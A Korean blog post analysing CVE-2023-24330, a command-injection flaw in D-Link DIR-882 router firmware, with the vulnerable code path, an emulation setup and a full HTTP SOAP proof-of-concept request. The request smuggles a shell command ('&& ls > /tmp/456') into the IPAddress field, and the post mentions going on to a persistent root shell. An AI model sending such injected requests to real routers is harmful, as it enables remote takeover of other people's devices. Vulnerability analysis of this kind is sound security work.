[1-day] 기타 취약점 확인

goldenGlow_21·2025년 3월 19일
post-thumbnail

CVE-2023-24330

https://nvd.nist.gov/vuln/detail/CVE-2023-24330
https://github.com/caoyebo/CVE/tree/main/dlink%20882%20-%20CVE-2023-24330

개요

D-Link DIR-882 라우터의 펌웨어 버전 DIR882A1_FW130B06에서 원격 명령 실행(Remote Command Execution) 취약점이 발견. 이를 악용하면 원격 공격자가 임의의 명령을 실행하여 장치를 제어할 수 있음

  • 제조사/제품: D-Link DIR-882 (DIR882A1_FW130B06)
  • 취약점 유형: 명령 주입 (Command Injection) → 원격 코드 실행 (RCE)
  • 영향: 코드 실행, 권한 상승 (Privilege Escalation)

취약한 버전

DIR882A1_FW130B06

취약점 상세 내용

해당 취약점은 /SetNetworkSettings/IPAddress 파라미터를 통해 전달된 값이 직접 시스템 명령어로 실행되면서 발생.

  1. SetNetworkSettings API를 통해 입력받은 IP 주소 값이 v6 변수에 저장
  2. 이후 sprintf 함수를 사용해 v6 값을 v39 변수에 저장
  3. v39 변수의 값이 system() 함수를 통해 실행
  4. 이 과정에서 적절한 필터링 없이 입력값이 그대로 실행되기 때문에, 명령 주입(Injection)이 발생 → 공격자가 IP Address 필드에 악의적인 명령어를 삽입하면 원격에서 원하는 명령을 실행할 수 있게 됨

취약점 발생 원인

사용자 입력값을 적절한 검증 없이 system() 함수로 실행하면서 발생하는 명령 주입(Command Injection) 문제

취약점 재현 방법 및 PoC

실습 환경

  • 펌웨어 에뮬레이션: fat 툴을 이용해 DIR882A1_FW130B06.bin 펌웨어를 실행

PoC 코드

  • HTTP 요청을 라우터에 전송하면 원격에서 명령을 실행할 수 있게 됨
POST /HNAP1/ HTTP/1.1
Host: 81.70.52.167:7018
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/xml
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml
SOAPACTION: "<http://purenetworks.com/HNAP1/SetNetworkSettings>"
HNAP_AUTH: 3FD4E69D96091F37A00F8FEC98928CB5 1649128376185
Content-Length: 633
Origin: <http://81.70.52.167:7018>
Connection: close
Referer: <http://81.70.52.167:7018/Network.html>
Cookie: SESSION_ID=2:1556825615:2; uid=LeaHzVaQ

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>" xmlns:xsd="<http://www.w3.org/2001/XMLSchema>" xmlns:soap="<http://schemas.xmlsoap.org/soap/envelope/>">
<soap:Body>
<SetNetworkSettings xmlns="<http://purenetworks.com/HNAP1/>">
	<IPAddress>&& ls > /tmp/456 && echo 1</IPAddress>
	<SubnetMask>255.255.255.0</SubnetMask>
	<DeviceName>dlinkrouter3</DeviceName>
	<LocalDomainName></LocalDomainName>
	<IPRangeStart>1</IPRangeStart>
	<IPRangeEnd>254</IPRangeEnd>
	<LeaseTime>10080</LeaseTime>
	<Broadcast>false</Broadcast>
	<DNSRelay>true</DNSRelay>
</SetNetworkSettings>
</soap:Body>
</soap:Envelope>

공격 원리 및 결과 분석

공격 원리

  • PoC 코드에서 IPAddress 필드에 && ls > /tmp/456 && echo 1을 삽입
  • 이렇게 되면...
    1. && ls > /tmp/456ls 명령을 실행하여 /tmp/456 파일에 저장
    2. && echo 1 → 성공적으로 실행되었음을 확인하는 1을 출력
  • 이 경우, 공격자는 라우터에서 직접 명령을 실행할 수 있는 환경을 만들 수 있음

PoC 공격 실행 결과

  • 공격이 성공하면 /tmp/456 파일이 생성
  • 이 파일을 확인하면 라우터 내부의 디렉토리 리스트가 들어 있음
  • 이를 활용하면 더 정교한 공격이 가능

Exploit 개발 및 Root Shell 획득

  • Exploit 스크립트를 개발하여 공격자가 지속적으로 Root Shell을 유지할 수 있도록 설정할 수 있을 것
profile
안드로이드는 리눅스의 꿈을 꾸는가

0개의 댓글